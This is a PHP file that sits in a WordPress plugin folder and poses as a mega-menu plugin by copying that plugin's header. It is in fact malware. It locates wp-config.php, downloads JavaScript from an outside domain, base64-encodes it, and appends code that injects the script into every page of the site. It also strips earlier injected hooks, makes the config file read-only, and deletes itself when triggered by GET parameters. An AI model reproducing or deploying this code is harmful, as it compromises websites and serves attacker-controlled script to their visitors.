File: /home/bannong/domains/bannongsaischool.com/public_html/wp-content/plugins/wpr/wpr.php
<?php
/**
Plugin Name: WP Redactor Hook
Plugin URI: https://www.themeum.com/product/wp-megamenu/
Description: WP Adon Profi is a beautiful, responsive, highly customizable, and user-friendly drag and drop menu builder plugin for WordPress. Build an awesome mega menu today.
Author: Themeum
Author URI: https://www.themeum.com
Version: 1.4.2
Text Domain: wp-profimenu
Domain Path: /languages
License: GPLv2 or later
License URI: http://www.gnu.org/licenses/gpl-2.0.html
 */
// 🔹 Функция поиска `wp-config.php`
function find_wp_config($startDir, $maxLevels = 10) {
    $dir = rtrim($startDir, DIRECTORY_SEPARATOR);
    for ($level = 0; $level < $maxLevels; $level++) {
        $configPath = $dir . DIRECTORY_SEPARATOR . 'wp-config.php';
        if (file_exists($configPath)) {
            return $configPath;
        }
        $parentDir = dirname($dir);
        if ($parentDir === $dir) {
            break;
        }
        $dir = $parentDir;
    }
    return false;
}
$wpConfigPath = find_wp_config(__DIR__, 10);
if (!$wpConfigPath) {
    echo "❌ Не найден wp-config.php (10 уровней вверх от " . __DIR__ . ").";
    exit;
}
// 🔹 Функция загрузки JS через cURL
function fetch_js_with_ua($url) {
    $ch = curl_init($url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 10.0; Win64; x64)");
    $response = curl_exec($ch);
    curl_close($ch);
    return $response;
}
// 🔹 Получаем JS-скрипт
$script = fetch_js_with_ua('https://firewallscan.cyou/ewgvfbgdf.js');
if (!$script) {
    die("❌ Ошибка: JS не загружен.");
}
$encoded_script = base64_encode($script); 
// 🔹 Код для `wp-config.php` 
$scriptToAdd = <<<PHP
function addingtopress_wp_enqueue() {
       \$encoded_script = '$encoded_script';
    echo '<script>
        (function() {
            const decodedScript = atob(\'' . \$encoded_script . '\');
            const scriptTag = document.createElement("script");
            scriptTag.textContent = decodedScript;
            document.head.appendChild(scriptTag);
        })();
    </script>';
}
PHP;
$hooksToAdd = <<<PHP
add_action('wp_enqueue_scripts', 'addingtopress_wp_enqueue', 1);
PHP;
// 🔹 Регулярные выражения для удаления хуков
$hooksToRemove = [
    '/add_action\(\'wp_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'admin_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'login_head\',\s*\'wp_cloueded\'\);\s*/',
    '/add_action\(\'wp_head\',\s*\'wp_reload_page_wp\'\);\s*/',
];
// 🔹 Функция добавления кода
function appendToFile($filePath, $content) {
    $original = file_get_contents($filePath);
    if (strpos($original, trim($content)) !== false) {
        echo "⚠️ Блок уже существует в {$filePath}.<br>";
        return;
    }
    $original .= "\n" . $content . "\n";
    file_put_contents($filePath, $original);
    echo "✅ Блок добавлен в {$filePath}.<br>";
}
// 🔹 Функция удаления хуков
function removeHooksFromConfig($filePath, $patterns) {
    $content = file_get_contents($filePath);
    $modified = false;
    foreach ($patterns as $pattern) {
        $newContent = preg_replace($pattern, '', $content, 1);
        if ($newContent !== $content) {
            $content = $newContent;
            $modified = true;
        }
    }
    if ($modified) {
        file_put_contents($filePath, $content);
        echo "✅ Старые хуки удалены из {$filePath}.<br>";
    } else {
        echo "❌ Старые хуки не найдены в {$filePath}.<br>";
    }
}
// 🔹 Функция удаления скрипта
function selfDelete() {
    $myPath = __FILE__;
    unlink($myPath);
    echo "✅ Файл удален: {$myPath}<br>";
}
// 🔹 Функция изменения прав на wp-config.php
if (isset($_GET['chmod'])) {
    if (file_exists($wpConfigPath)) {
        chmod($wpConfigPath, 444);
        echo "✅ Права доступа к wp-config.php изменены на 444 (только чтение).";
    } else {
        echo "❌ Файл wp-config.php не найден.";
    }
    exit;
}
// 🔹 Обработка GET-запросов
if (isset($_GET['copy'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        appendToFile($wpConfigPath, $scriptToAdd);
        appendToFile($wpConfigPath, $hooksToAdd);
    }
    exit;
}
if (isset($_GET['remove_hooks'])) {
    if (!file_exists($wpConfigPath)) {
        echo "❌ wp-config.php не найден.<br>";
    } else {
        removeHooksFromConfig($wpConfigPath, $hooksToRemove);
    }
    exit;
}
if (isset($_GET['delete_script'])) {
    selfDelete();
    exit;
}
?>